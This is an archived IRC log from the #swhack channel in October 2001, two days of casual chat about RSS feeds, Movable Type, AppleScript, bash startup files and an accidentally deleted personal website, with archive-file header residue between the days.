15:16:25 <sbp> ugh, as my mail crawls to a halt... 15:16:33 <sbp> come on, download, download! 15:18:46 <sbp> heh, that email to WAI IG is quite funny 15:26:52 <sbp> sbp has quit 16:24:21 <AaronSw> AaronSw has quit 16:24:21 <deltab> deltab has quit 16:49:20 <AaronSw> AaronSw has joined #swhack 16:49:20 <deltab> deltab has joined #swhack 17:43:44 <Morbus> Morbus has joined #swhack 17:51:28 <AaronSw> 'lo 17:51:53 <Morbus> 'l 17:51:58 <Morbus> it's so lonely without sbp. 17:51:58 <Morbus> :) 17:52:04 <AaronSw> Heh. 17:58:51 <AaronSw> Heh: "Sleep is defeat. Anthrax poisoning is no excuse." 17:59:23 <Morbus> heh. 18:23:15 <AaronSw> Good unschooling article: http://www.reason.com/0110/fe.dp.schools.html 18:24:00 <Morbus> AaronSw, you know a guy named Steve Yost from OuickTopic? 18:24:05 <AaronSw> Yep. 18:24:21 <AaronSw> QuickTopic 18:24:27 <Morbus> ah. ok. he and i have been having big discussiosn concerning amphetadesk and quicktopic. 18:24:39 <Morbus> i had actually seen the quicktopic thread a few weeks ago when i was doing a google search on ampheta. 18:24:39 <AaronSw> Oh, what're you discussing? 18:24:41 <Morbus> he emailed this morning. 18:24:59 <Morbus> well, mostly how he's working on a threadML sort of thing to add to RSS and he's presenting it at p2p. 18:25:08 <Morbus> and how does amphetadesk handle html, and so on and so forth 18:25:11 <AaronSw> Him, David Weinberger and I were going to work on ThreadsML. 18:25:18 <AaronSw> Has it developed further? 18:25:18 <Morbus> yeah, dave's on the cc too. 18:25:31 <Morbus> welp, check this out: http://www.quicktopic.com/7/H/rhSrjkWgjnvRq.rss 18:26:36 <AaronSw> Weird, I must have fallen off the CC! 18:26:36 <AaronSw> That sucks. 18:26:36 <AaronSw> I thought it had died. 18:27:06 <Morbus> well, the discussion on the site seems to have died, but he emailed me, david w, and the guy from yahoo this morning. 18:30:20 <AaronSw> So he's going to be at P2PCon? 18:30:37 <Morbus> yup. 18:31:34 <AaronSw> Now I really have to go there... 18:31:39 <Morbus> :) 18:31:53 <Morbus> he said if o'reilly didn't post a transcript he would and would let me know 18:32:08 <AaronSw> Ahh, here: http://conferences.oreillynet.com/cs/p2pweb2001/view/e_sess/2125 18:46:10 <AaronSw> Cool: http://www.notifymail.com/ 18:46:46 <Morbus> thats like mailtothefuture.com 18:47:35 <AaronSw> Huh? Not at all. 18:47:40 <Morbus> what are your feelings about html in rss feeds? 18:47:50 <Morbus> yeah, i realized that. hope you wouldnt notice. 18:47:54 <AaronSw> Heh. 18:47:59 <AaronSw> I think it should go in the content module. ;) 18:48:03 <Morbus> heh. ok. good. :) 18:48:09 <AaronSw> Why? 18:48:17 <Morbus> well, steves gonna strip html from the feed. 18:48:22 <Morbus> i pointed him to mod_content 18:48:27 <AaronSw> I helped design the ThreadsML RSS 1.0, remember. ;) 18:48:33 <AaronSw> And the content module. 18:48:46 <Morbus> yeah, i know. 18:48:53 <Morbus> i just don't reminding you. 18:49:55 <AaronSw> Huh? 18:50:01 <Morbus> nevermind. 18:50:13 <Morbus> my brain is moving faster than my fingers. youre the second person i've left words out of to. 18:50:20 <AaronSw> I do that too. :) 18:50:38 <Morbus> then you'll sympathize ;) 18:50:44 <AaronSw> Hmm, I can almost read the text on the RTF icon... 18:50:56 <Morbus> hmm? 18:51:08 <Morbus> oh, uner osx? 18:51:10 <AaronSw> Yep. 18:51:45 <AaronSw> "A boy once lived in .... in a gnac towak now ... lonfon fo his life was great tat is until he met a girl and chess labor begun to find love in racer of the kiss is all the things that he loved to go angkad what is it say in a gnac tour londohis.... "it just repeats 18:54:10 <Morbus> heh 18:54:14 <Morbus> you've got too much spare time. 18:54:22 <Morbus> there's a new ag out. v1.4 for the mac 18:54:30 <AaronSw> MacAddict had a contest out for funniest translation. 18:54:47 <Morbus> heh 18:54:52 <Morbus> i haven't gotten macaddict in a while. still good? 18:54:58 <AaronSw> Yeah, I think so. 18:55:04 <Morbus> i have issue 1 ;) 18:55:06 <AaronSw> Perhaps not as good... 18:55:11 <AaronSw> Aww, I want issue 1. 18:55:26 <Morbus> phbbt. i'll cam it for you so you're jealous. i still have the cds too :) 18:56:17 <Morbus> /phbbt/pfffff/ 18:56:49 <AaronSw> :) 18:57:42 <Morbus> i told steve i doubt ampheta will ever support the content module. 18:58:01 <Morbus> wait, that needs clarification. 18:58:33 <Morbus> i told steve that "i hate html in my feeds. i won't push html in title or description, and i doubt i'll supprt the content module". 18:58:39 <Morbus> yeah, that makes a little more sense. 18:58:50 <cdlu> [GlobalNotice] Services are down. They'll be up in a moment. Usual splitting, sorry. 18:58:59 <Morbus> before you could infer that "morbus thinks html should be outside the content module". that's not what i mean.t 18:59:30 <Morbus> Morbus has changed the topic to: inferrants, inflections, intentions, oh my! 18:59:45 <AaronSw> Ah, I see. 19:00:15 <AaronSw> Hmmph, why can't Mail.app have a simple "get new mail" applescript option 19:00:25 <Morbus> Morbus has quit 19:00:25 <AaronSw> AaronSw has quit 19:00:25 <deltab> deltab has quit 19:00:39 <deltab> deltab has joined #swhack 19:00:39 <AaronSw> AaronSw has joined #swhack 19:00:39 <Morbus> Morbus has joined #swhack 19:00:59 <logster> logster has joined #swhack 19:00:59 <forward.openprojects.net> topic is: inferrants, inflections, intentions, oh my! 19:00:59 <forward.openprojects.net> Users on #swhack: logster Morbus AaronSw deltab 19:01:54 <sbp> sbp has joined #swhack 19:02:09 <Morbus> 'lo 19:02:12 <sbp> 'i 19:02:17 <AaronSw> 'i 19:02:22 <sbp> '? 19:02:33 <Morbus> * Morbus runs away screaming! 19:03:05 <Morbus> how's life? 19:03:35 <sbp> same as usual: writing stuff, emailing people, worrying about things, watching T.V. 19:03:42 <sbp> talking to you guys 19:04:01 <sbp> you? 19:04:53 <Morbus> doing mundane monkey work on djcdesign.com 19:04:53 <AaronSw> I can't believe Mail has so many stupid things you can script (like the color of a single character) buy uou can't check your freaking mail! 19:05:10 <sbp> lol 19:05:22 <Morbus> hehe 19:05:46 <Morbus> poor poor aaron. doesnt he realize that sending html email is better and more common than actually checking it? 19:05:55 <AaronSw> Heh. 19:06:06 <AaronSw> * AaronSw curses AppleScript and it's stupid English syntax 19:08:18 <AaronSw> this is a line of code: set this_message to make new compose message at beginning of every compose message 19:09:01 <Morbus> i know 0 as. 19:12:55 <AaronSw> OK, I give up with that. 19:13:01 <sbp> Gotta run 19:13:05 <AaronSw> c'ya 19:13:27 <Morbus> no, aaron, you don't give up. set inspiration_level to make new failure at end of patience 19:13:34 <Morbus> :) 19:13:37 <AaronSw> :-) 19:16:02 <sbp> sbp has quit 19:35:37 <Morbus> Morbus has quit 19:45:57 <sbp> sbp has joined #swhack 19:46:11 <AaronSw> Hi sbp 19:46:17 <sbp> Hi AaronSw 19:47:42 <sbp> * sbp plays some Zep - "Nobody's Fault But Mine" 19:48:11 <sbp> from Presence 20:00:23 <AaronSw> * AaronSw listens to some Tom Mabe 20:00:31 <BenSw> BenSw has joined #swhack 20:00:48 <sbp> Hi Ben 20:00:51 <AaronSw> Hi Ben 20:01:05 <AaronSw> You weren't on earlier this morning, now were you? 20:02:07 <AaronSw> Earth to BenSw... Your client broken? 20:03:33 <BenSw> no.. why? 20:03:41 <AaronSw> Ah, he speaks! 20:03:41 <BenSw> BenSw has quit 20:03:50 <sbp> he goes! 20:04:46 <AaronSw> Well, that was quick. 20:05:36 <BenSw> BenSw has joined #swhack 20:05:57 <BenSw> Hi 20:06:04 <BenSw> hello 20:06:05 <sbp> Hi 20:06:10 <sbp> wb 20:06:13 <AaronSw> Welcome back 20:06:32 <BenSw> ohh i guess irc cgi does work after all 20:06:38 <AaronSw> Yes, I suppose it does. 20:07:06 <sbp> heh: un.impressive.net - that Gerald 20:07:16 <BenSw> It messed up before 20:07:40 <AaronSw> It gets a little confused if you try to join more than 1 channel 20:07:59 <BenSw> Ahhh 20:08:40 <BenSw> No wonder i was on Swartzfam 20:08:46 <AaronSw> Ah. 20:10:08 <BenSw> Hmmm 20:10:17 <BenSw> Can you fix that? 20:13:31 <AaronSw> * AaronSw heads off 20:13:46 <sbp> c'ya 20:14:11 <BenSw> cya sbp 20:14:13 <BenSw> cya sbp 20:14:27 <sbp> you going too? 20:14:40 <BenSw> no 20:14:57 <AaronSw> * AaronSw returns 20:15:12 <sbp> ah, that was quick 20:15:25 <sbp> testing your away thing, still? 20:16:13 <AaronSw> What happened? 20:16:15 <AaronSw> I got disconnected somehow... 20:16:21 <Matt> [GlobalSpam] We're going to try and restart services. There'll be a few splits... nothing to worry about 20:16:25 <AaronSw> No. 20:16:36 <sbp> oh, it said "AaronSw heads off" so I presumed that you buggered off 20:16:39 <AaronSw> BenSw, still here? 20:16:51 <AaronSw> Actually, I had... I went to reboot the tiVo. 20:17:04 <BenSw> cool 20:17:06 <BenSw> cool 20:17:07 <sbp> Ah 20:18:29 <sbp> Store guy: Take this Frogurt, but beware: it carries a terrible curse 20:18:42 <sbp> er... 20:18:48 <sbp> s/Frogurt/doll 20:18:59 <sbp> Homer: Ooh, that's bad 20:19:10 <sbp> Store guy: But it comes with a free Frogurt! 20:19:17 <sbp> Homer: Ooh, that's good! 20:19:24 <sbp> Store guy: The Frogurt is also cursed 20:19:28 <sbp> Homer: Ooh, that's bad 20:19:34 <BenSw> Homer: No t.v. and no beer make homer something something 20:19:40 <sbp> Store guy: But it comes with a choice of topping 20:19:47 <sbp> Homer: Ooh, that's good 20:19:52 <sbp> Marge: Go crazy? 20:19:57 <sbp> Homer: Don't mind if I do 20:20:01 <BenSw> What do you mean NY 20:20:13 <sbp> Store guy: the toppings contain potassium benzoate 20:20:20 <sbp> Homer: [stares blankly] 20:20:26 <sbp> Store guy: That's bad 20:20:31 <sbp> Homer: Can I go now? 20:20:33 <BenSw> it working 20:21:54 <BenSw> Sbp look at the one hour special of Buffy. 20:22:08 <Morbus> Morbus has joined #swhack 20:22:13 <sbp> I wouldn't dare 20:22:18 <AaronSw> Hi Morbus. 20:22:26 <AaronSw> logster, grep Morbus.*boxer 20:22:29 <logster> I'm logging. I found 3 answers for 'Morbus.*boxer' 20:22:30 <logster> 0) 2001-10-17 20:22:26 <AaronSw> logster, grep Morbus.*boxer 20:22:31 <logster> 1) 2001-09-21 02:43:31 <Morbus> i do everything in boxers 20:22:32 <logster> 2) 2001-09-21 02:43:31 <Morbus> i do everything in boxers 20:22:32 <BenSw> Hey Morbus 20:22:37 <sbp> lol 20:22:40 <AaronSw> What do the people at work say? 20:22:45 <Morbus> heheh... 20:22:50 <Morbus> well, i'm not in boxers now :) 20:23:01 <sbp> stop doing things, then! 20:23:10 <BenSw> aaron how do I thumbs down a show? 20:23:18 <AaronSw> Beats me. 20:23:36 <Morbus> Morbus has quit 20:23:53 <sbp> ah, netsplits 20:23:53 <Morbus> Morbus has joined #swhack 20:23:55 <BenSw> is the tv on? 20:24:02 <sbp> wb, Morby 20:24:17 <Morbus> hey, you left, not me ;0 20:24:21 <sbp> :-) 20:24:22 <BenSw> wb 20:25:16 <AaronSw> BenSw, yeah. 20:25:24 <BenSw> cool 20:25:47 <BenSw> go down there and watch the master 20:25:55 <AaronSw> I've got other things to do. 20:26:00 <sbp> the master? 20:26:24 <BenSw> I can do virtually anything... just watch 20:27:15 <AaronSw> Please no. 20:27:20 <sbp> heh, heh 20:27:23 <Morbus> good article: http://webtechniques.com/archives/2001/10/fraser/ 20:27:42 <BenSw> I just thumbed up Inspecter gadget 3 times 20:27:51 <Morbus> do do do dooo. 20:27:55 <Morbus> weeee oh weeeoh 20:28:04 <Morbus> inspecter gadget! 20:28:21 <sbp> * sbp is glad he's playing "Misty Mountain Hop" else he'd be singing the Inspector Gadget song 20:28:34 <Morbus> htey play it on powerpuff fm a lot :) 20:28:43 <sbp> heh, heh 20:28:53 <BenSw> da da da da da da inspector gadget dadadadadaada dada 20:29:12 <BenSw> dadadadadada inspector gadget dadadaddada da da 20:29:20 <sbp> he he he 20:31:28 <BenSw> switching cgi ircs 20:33:23 <Morbus> Morbus is now known as http 20:33:23 <BenSw> BenSw has quit 20:33:30 <AaronSw> http? 20:33:32 <http> http is now known as Morbus 20:33:38 <AaronSw> must be some joke in evolt 20:33:43 <Morbus> heheh. whistle, whistle. 20:34:11 <BenSw> BenSw has joined #swhack 20:34:20 <sbp> *** Now talking in #evolt 20:34:20 <sbp> <sbp> stop messing about in here! 20:34:34 <Morbus> rock on with yo bad self ;) 20:35:02 <BenSw> what do you mean register aaron 20:35:19 <AaronSw> When'd I say register? 20:39:08 <Morbus> why is it that geeks are so much uglier than me? am i truly an adonis? 20:40:03 <sbp> "When The Levee Breaks" 20:40:17 <AaronSw> Perhaps just a narccissist? 20:42:39 <AaronSw> ;-) 20:42:59 <sbp> * sbp seconds that 20:44:57 <sbp> Gotta run 20:45:01 <AaronSw> c'ya 20:45:22 <Morbus> ciao 20:47:15 <AaronSw> * AaronSw heads off 20:47:22 <Morbus> fine! 20:47:57 <sbp> sbp has quit 20:50:11 <AaronSw> * AaronSw returns 20:51:01 <Morbus> you hear about how applescript can work over the net? i coudl applescript something off your box from mine? 20:51:18 <AaronSw> Sorry, what happened. 20:51:28 <AaronSw> My computer just did that halting thing and then I crashed it. 20:51:37 <Morbus> oh. 20:51:41 <Morbus> that's not good. 20:51:48 <AaronSw> Yeah. 20:51:58 <AaronSw> What a fun security hole! :-) 20:52:00 <AaronSw> It's been like that for years. 20:52:02 <AaronSw> What isn't? 20:52:04 <AaronSw> You have to turn it on in the sharing control panel in OS 9 20:52:22 <Morbus> oh. didn't know that. 20:52:28 <Morbus> i never installed sharing in os 9 ;) 20:56:30 <Bensw2> Bensw2 has joined #Swhack 20:56:38 <Bensw2> Hello 20:56:52 <Morbus> Hell 20:57:31 <Bensw2> Aaron the blog space cgi irc doenst work for me 20:57:40 <AaronSw> Hmm, oh well 20:59:03 <Bensw2> Aaron can you kick benSw 20:59:14 <AaronSw> Did you register your nick? 20:59:17 <Bensw2> nevermond 20:59:29 <Morbus> i didn't register mine. i have no flipping clue how to do any of that stuff. 21:00:19 <deltab> kicking bensw from this channel won't let you use that nick 21:00:43 <Bensw2> Free Buffy on our Tivo :-) 21:01:10 <AaronSw> Shut up Ben. 21:01:21 <AaronSw> :-) 21:03:08 <Morbus> vwagagaga 21:03:11 <Morbus> last para of http://www.zdnet.com/zdnn/stories/news/0,4586,2818155,00.html 21:04:11 <AaronSw> Heheh. 21:06:05 <BenSw> BenSw has quit 21:08:23 <Morbus> http://www.reuters.com/printerfriendly.jhtml?type=humannews&StoryID=297117 21:09:17 <Bensw2> k 21:12:47 <Bensw2> Bensw2 is now known as Bensw 21:14:37 <Morbus> anyone tried movable type yet? 21:14:47 <Bensw> cya all 21:15:03 <AaronSw> bye 21:15:10 <AaronSw> not yet, morb 21:15:10 <Bensw> Bensw has quit 21:15:13 <Morbus> it exports rss by default' 21:15:20 <Morbus> once i get syncasaurus finished, i'll prolly fiddle 21:17:44 <Morbus> heh. http://www.mines.edu/students/b/bolmstea/randlang/ 21:23:59 <AaronSw> Hmm, where's the script that gets executed on login? 21:24:38 <Morbus> hmm? 21:24:46 <Morbus> oh. in tsch, it's ~/.login 21:24:59 <Morbus> or, create /Library/init/tcsh something or other. 21:25:01 <Morbus> its at home. 21:25:21 <AaronSw> I'm in bash 21:25:30 <Morbus> isn't it .bashrc 21:25:37 <AaronSw> I thought so... 21:25:53 <AaronSw> but it doesn't seem to execute 21:27:08 <AaronSw> Oh, weird. I am running tcsh 21:27:15 <AaronSw> Why is that... 21:27:37 <AaronSw> Hmm, no I'm not. 21:36:55 <deltab> in bash, .profile, .bash_profile, and .bash_login 21:37:13 <Morbus> i thought profile was just for aliases and env stuff. 21:37:17 <deltab> .bashrc isn't run directly 21:37:19 <AaronSw> Ahh, profile -- that's what it was. 21:37:28 <Morbus> maybe i got the too flipflopped 21:38:33 <deltab> the bash documnetation has the full story 21:46:03 <Morbus> Morbus has left #swhack 22:00:19 <sbp> sbp has joined #swhack 22:02:17 <AaronSw> Hi there 22:03:44 <sbp> sbp has quit 22:06:27 <sbp> sbp has joined #swhack 22:07:10 <sbp> I've reconsidered: I think that your homepage is better designed than DanC's. It has more of a completed air behind it, rather than being a mess of links 22:07:26 <AaronSw> Ah, thanks. 22:07:30 <sbp> So I give your homepage the five gold stars "top homepage of the Web" award 22:07:34 <AaronSw> Yay! 22:07:40 <AaronSw> Done with that piece yet? 22:07:47 <sbp> I've also been working out the average sizes for homepages 22:07:55 <sbp> I figure that 9-10KB is about right 22:08:03 <sbp> Hugo's page is cloest to the average 22:08:03 <AaronSw> Hmm. 22:08:07 <sbp> not done yet 22:16:49 <Morbus> Morbus has joined #swhack 22:17:57 <sbp> Hi Morby 22:18:12 <Morbus> hey there 22:18:16 <AaronSw> Hello 22:18:41 <Morbus> was planning on playing with mt tonight, but couldn't get image::size or html::templateinstalled in time 22:18:57 <AaronSw> Can't you just grab them from CPAN? 22:19:24 <Morbus> right, that's the thing. my cpan stuff was all screwed up on the disobey box - url's out of date, etc. 22:21:02 <AaronSw> yuck 22:21:22 <AaronSw> You couldn't even do a self-update? 22:21:25 <Morbus> yeah, was a pain in the ass. 22:21:37 <Morbus> well, i was able to grab the newest cpan, after much hassle, but even that didn't help 22:21:44 <Morbus> i have to reconfigure my urls. just didn't have time too 22:21:48 <AaronSw> pah 22:21:48 <sbp> man, it's so difficult to draw cartoons on a PC 22:22:05 <AaronSw> Ooh, cartoons. 22:23:33 <sbp> in fact, it's bloody impossible. I need a scanner! 22:24:09 <AaronSw> You could mail them to me, and I could scan them. ;) 22:24:19 <sbp> heh! 22:24:20 <AaronSw> Or you could get a tablet for your computer. 22:24:27 <Morbus> or a webcam. 22:24:34 <AaronSw> or a digital camera 22:24:35 <sbp> I could fax them to myself, using eFax 22:24:41 <Morbus> there ya go. 22:24:44 <AaronSw> You have a fax machine? 22:24:55 <AaronSw> Or you could just give in, like explodingdog.com ;) 22:24:59 <sbp> yeah 22:25:34 <AaronSw> LOL @ http://explodingdog.com/august6/computersknow.html 22:25:34 <AaronSw> I love exploding dog 22:26:42 <sbp> wow, he *did* give in 22:27:01 <Morbus> what dya mean? 22:27:21 <AaronSw> He's well-loved. His artwork is great. 22:27:46 <sbp> Gotta run 22:27:57 <AaronSw> He's doing some cool stuff: http://explodingdog.com/august6/decicions.html 22:29:30 <AaronSw> AaronSw has changed the topic to: red robot world domination 22:29:41 <AaronSw> CRUSH ALL HUMANS! 22:32:11 <AaronSw> Heheh: http://www.dieselsweeties.com/strips/sw55.shtml 22:34:24 <AaronSw> LOL! http://www.dieselsweeties.com/strips/sw71.shtml 22:37:04 <Morbus> heh. 22:37:04 <Morbus> >As you may or may not have figured out, I'm the co-editor of Gamegrene. 22:37:05 <Morbus> >To use a Star Trek analogy, I get to take the bridge when Captain Morbus is 22:37:05 <Morbus> >off seducing alien women. 22:37:05 <Morbus> > 22:37:05 <Morbus> >Which is often. 22:38:34 <AaronSw> Heheh, where's that from? 22:39:17 <Morbus> an email. 22:49:38 <AaronSw> Hmm, see this Mac OS X security alert? 22:49:55 <AaronSw> 1. Open up the Terminal.app 22:49:55 <AaronSw> 2. Quit it. 22:49:55 <AaronSw> 3. Open up NetInfo Manager (leave it in the foreground) 22:49:55 <AaronSw> 4. Open up Terminal.app from the *RECENT ITEMS* list in the Apple 22:49:55 <AaronSw> Menu. 22:50:11 <AaronSw> weird. 22:50:16 <Morbus> yup 22:52:17 <Morbus> sigh. my desire to code is being overwritten by the desire to play with others code. 22:53:18 <AaronSw> Heh. 22:54:06 <AaronSw> I keep getting distracted. 22:54:10 <AaronSw> Ooh, what's that game... 23:02:16 <AaronSw> Aha, this is why Dan Connolly hates import *: http://lists.w3.org/Archives/Public/w3c-rdfcore-wg/2001Oct/0338.html 23:08:51 <deltab> er... bash reads .bashrc sometimes - see the manpage for details 23:12:18 <AaronSw> Yeah, for some reason it reads it when I call it, but not when my Terminal runs it 23:13:32 <AaronSw> So I just wrote a stub file that calls bash and used it as my shell 23:14:05 <Morbus> and you've got your shell set as bash within the passwd file? 23:14:17 <AaronSw> No... 23:14:24 <AaronSw> Should I? 23:14:39 <Morbus> well, whatever is in there is what shell you're assigned when you get into a terminal 23:14:41 <AaronSw> Oh, right, OS X ignores /etc/passwd 23:14:46 <Morbus> you should be able to change it from netinfop 23:14:50 <Morbus> netinfo, rather 23:15:07 <AaronSw> Morbus, no, you can change it in Terminal Preferences. 23:15:14 <Morbus> oh. 23:15:21 <sbp> ah crap, I was meant to reset this connection... 23:15:50 <AaronSw> Heh, I wondered why you were on. 23:15:54 <AaronSw> You were meant? 23:18:21 <sbp> sbp has quit 23:34:19 <deltab> .bashrc is read for non-login interactive shells - maybe Terminal starts a login shell? 23:34:51 <AaronSw> Must be. 23:36:03 <deltab> find out with ps $$ 23:37:09 <AaronSw> 972 std Ss 0:00.04 -bash (bash) 23:38:15 <AaronSw> Cool way to generate RFCs from XML: http://lists.xml.resource.org/ 23:38:21 <AaronSw> I'll have to remember that. 23:39:33 <deltab> yup, the - in -bash indicates a login shell 23:42:30 <deltab> seems http://xml.resource.org/ is the proper URI 23:45:45 <AaronSw> gotta run.. dinnertime 23:55:50 <sbp> sbp has joined #swhack 23:59:30 <Morbus> Morbus has quit ���������������������������������������������������������������������������������������������������������������������������������������������������2001-10-18.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000111233�07363663231�011675� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:14:13 <AaronSw> 'lo 00:14:33 <sbp> 'i 00:16:32 <AaronSw> how're things? 00:17:08 <AaronSw> Heh: 00:17:18 <AaronSw> "Pushed to the brink by recent Internet worm outbreaks, Microsoft hopes to rally the computer industry against those who improperly publish information about security vulnerabilities. " 00:17:30 <AaronSw> Improperly publish? How can you improperly publish? 00:17:45 <AaronSw> """In an editorial at Microsoft's site, Scott Culp, head of the company's Security Response Center, announced the initiative against what he called "information anarchy." """ 00:18:00 <AaronSw> Yeah, people talking to each other is always bad. Better outlaw that. 00:18:17 <sbp> lol 00:18:29 <sbp> Just arguing on validator about Pink Floyd... 00:31:23 <AaronSw> Joel Spolsky: "For some reason, some people just do not seem to be able to write code with pointers in it. They were born without the part of the brain that does indirection, I guess." 00:44:21 <AaronSw> Joel Spolsky: "Some of you received multiple copies of the previous bulletin. I apologize for this. Rest assured that the server that was responsible has been sacked. (If it happens again, rest assured that the people responsible for sacking the the previous server will be sacked as well.)" 00:44:40 <Morbus> Morbus has joined #swhack 00:44:48 <sbp> Hi Morby 00:44:50 <AaronSw> Have you been sacked? 00:44:58 <Morbus> playing with movable type 00:45:04 <Morbus> sacked? what's that? 00:45:27 <sbp> where someone sneaks up behind you and whops you with a big sack 00:46:04 <Morbus> oh. no. 00:48:07 <Morbus> mt has a learning curve. but it looks neat. 00:49:01 <sbp> Model Theory? 00:49:07 <AaronSw> movable type 00:49:07 <AaronSw> cool 00:59:21 <Morbus> Morbus has quit 01:00:11 <AaronSw> sbp, why don't you digitally sign and timestamp your documents? 01:01:49 <sbp> don't I? 01:01:54 <AaronSw> Do you? 01:01:58 <sbp> dunno 01:02:03 <AaronSw> Why don't you make them publicly available? 01:02:15 <sbp> anonymity is a wonderful gift 01:02:27 <sbp> digital signatures remove that gift 01:02:45 <AaronSw> But you sign your pages, don't you? 01:02:51 <sbp> nope 01:02:53 <AaronSw> And your the only one with access to infomesh.net 01:03:02 <sbp> how do you know that? 01:03:04 <AaronSw> And digsigs need not be under your "True Name" 01:03:18 <sbp> of course, but it still links documents together 01:03:28 <sbp> unless you use a different signature for each one! 01:03:31 <AaronSw> Well, so does infomesh.net 01:03:44 <sbp> ah, but you dunno who uploaded all those documents 01:04:03 <sbp> if those documents even exist :-) 01:04:58 <AaronSw> Very cool: PGP Digital Timestamping Service - http://www.itconsult.co.uk/stamper.htm 01:05:13 <sbp> yeah, that's a cool service 01:05:28 <sbp> digital signatures and timestamps are goof for backing up copyright 01:05:35 <sbp> s/goof/good 01:05:39 <AaronSw> Yeah, very goof. 01:05:42 <sbp> :-) 01:05:51 <AaronSw> (IMO) 01:07:00 <AaronSw> So is mailing it to youself in an unopened letter. 01:07:38 <sbp> not as good as digital signatures IMO, for the same reason that normal signatures arenn' 01:07:41 <sbp> aren't 01:08:33 <sbp> aren't as good as their digitized cousins 01:08:34 <AaronSw> Yep. 01:08:50 <AaronSw> But copright will die out soon enough. 01:08:52 <Morbus> Morbus has joined #swhack 01:08:59 <sbp> yeah, and copyright 01:09:06 <Morbus> hey this mt is nice. 01:09:07 <AaronSw> Yeah, that's what I meant. 01:09:12 <Morbus> ten minues and i'm almost done ;) 01:09:14 <Morbus> http://gamegrene.com/mt/ 01:09:29 <AaronSw> * AaronSw adds to syndic8 ;) 01:09:37 <Morbus> NooO! <g> 01:10:05 <AaronSw> Heh: in [$ column $]: 01:10:05 <Morbus> seriously though, this looks like a good system. gonna see if i can convert over 01:10:21 <Morbus> yeah, that's MY template value from my system. don't know what it is yet in MT :) 01:13:36 <AaronSw> Have... to... focus.... must finish work... 01:13:41 <AaronSw> * AaronSw smacks himself 01:14:28 <Morbus> heh. never! 01:16:31 <sbp> what is GNU if it's not Unix? 01:16:45 <AaronSw> It's GNU. 01:17:39 <sbp> ah, but that's not Unix, so what's your point? 01:18:03 <AaronSw> It's something like UNIX but different. 01:18:09 <AaronSw> It's a tradition. 01:18:49 <AaronSw> Rick Bradley: "It's not like this is a closed source product where you have no recourse but to whine to enhancements@macrobloat.com." 01:19:07 <AaronSw> Speaking about, _ahem_, Mozilla. 01:20:55 <sbp> sbp has changed the topic to: you are reading this topic 01:21:16 <sbp> anyway 01:21:18 <sbp> Gotta run 01:21:26 <AaronSw> c'ya 01:24:20 <sbp> sbp has quit 01:30:49 <Morbus> Morbus has quit 01:33:25 <AaronSw> Heheh: "Is there any special reason why \U escapes need *8* digits even if only 01:33:25 <AaronSw> up to six digits are allowed?" 01:39:56 <Morbus> Morbus has joined #swhack 01:40:12 <Morbus> grumble grumble 01:40:18 <Morbus> mt won't support my naming/dir scheme 01:51:51 <Morbus> Morbus has quit 02:27:45 <ChanServ> ChanServ has changed the topic to: 02:28:08 <AaronSw> Hmm. 02:30:22 <AaronSw> AaronSw has changed the topic to: THIS CHANNEL KILLS FASCISTS 02:42:25 <AaronSw> Shoot! I just deleted my website! 02:43:38 <AaronSw> shoot shoot shoot shoot shoot 02:44:36 <Klatu> [GLOBAL NOTICE] Apologies for the splits... the regular services technician was unavailable and we had to get creative... 02:46:47 <AaronSw> Wow, that really makes me feel better. 02:50:07 <Morbus> Morbus has joined #swhack 02:50:23 <Morbus> i am a fascist. 02:50:33 <Morbus> i am a fascist of the fastening kind 02:50:45 <AaronSw> * AaronSw heads off 02:51:13 <AaronSw> * AaronSw returns 02:52:53 <AaronSw> pffffft 02:55:38 <Morbus> Morbus has quit 02:55:40 <AaronSw> What kind of an error is this: 02:55:42 <AaronSw> command-line line 0: Missing yes/no argument. 02:55:42 <AaronSw> lost connection 02:55:45 <ChanServ> ChanServ has changed the topic to: 02:55:59 <Morbus> Morbus has joined #swhack 02:56:58 <AaronSw> AaronSw has changed the topic to: I deleted my website. Please send me any archives you have of content from http://swartzfam.com/aaron/ 02:59:28 <Morbus> serious 02:59:29 <Morbus> ? 02:59:48 <AaronSw> Yeah :-( 03:00:05 <AaronSw> While I was setting up my backup system too, so the backups i made are gone :-( 03:00:42 <AaronSw> I found a backup from Mar 25, 2000 on an old machine. 03:01:04 <Morbus> ouch. 03:01:09 <Morbus> that sucks 03:01:16 <AaronSw> a lot 03:01:48 <AaronSw> And scp isn't working so I don't know how to upload stuff 03:02:28 <AaronSw> ahh, at least ftp works 03:05:03 <Morbus> on a good note, i'm making a bit more progress with syncasaurus ;) 03:05:13 <AaronSw> that's good 03:11:52 <Morbus> Morbus has quit 03:11:59 <ChanServ> ChanServ has changed the topic to: 03:12:15 <Morbus> Morbus has joined #swhack 03:12:17 <Morbus> Morbus has quit 03:14:19 <AaronSw> AaronSw has quit 03:14:59 <AaronSw> AaronSw has joined #swhack 03:15:13 <AaronSw> * AaronSw returns 03:18:27 <AaronSw> AaronSw has changed the topic to: I accidentally deleted my website. If you have an archive of http://swartzfam.com/aaron/ please let me know. 03:46:52 <AaronSw> How do I find what process is hitting the disk, deltab? 04:08:22 <sbp> sbp has joined #swhack 04:09:51 <sbp> lol @ the topic 04:11:16 <sbp> I have an archive of it 04:24:29 <AaronSw> You're laughing? 04:24:30 <AaronSw> Pfft. 04:24:37 <AaronSw> sbp, what parts do you have? 04:24:48 <sbp> I am indeed enthralled with giggly joy 04:24:50 <sbp> parts? 04:24:55 <AaronSw> * AaronSw smacks sbp 04:25:07 <AaronSw> yeah, parts... as in files 04:25:08 <AaronSw> etc. 04:25:22 <sbp> what do you mean "what files"? 04:25:44 <AaronSw> Umm, the ones in that directory. 04:25:46 <AaronSw> which ones? 04:25:55 <AaronSw> do you have 04:26:12 <AaronSw> Perhaps this would work better if you just told me what you have an archive of. 04:26:28 <sbp> I have an archive of http://swartzfam.com/aaron/ 04:26:42 <AaronSw> Just that HTML that you'd receive from an HTTP GET? 04:26:51 <sbp> yes 04:27:01 <AaronSw> I have that. I'm looking for other stuff. 04:27:17 <sbp> Oh. What kind of other stuff? 04:27:22 <sbp> URIs? 04:27:36 <sbp> Did you really delete it? If so, I am going to be on the floor with laughter 04:27:41 <AaronSw> Yes. 04:27:49 <AaronSw> I dunno, that's the problem... I'm not sure what's there. 04:27:53 <AaronSw> err, what was. 04:28:24 <sbp> heh, heh! every bit is sacred, Aaron! All those bits gone to waste! Dear oh dear, I'm appalled 04:28:34 <sbp> * sbp wonders how much to rub this in before he helps 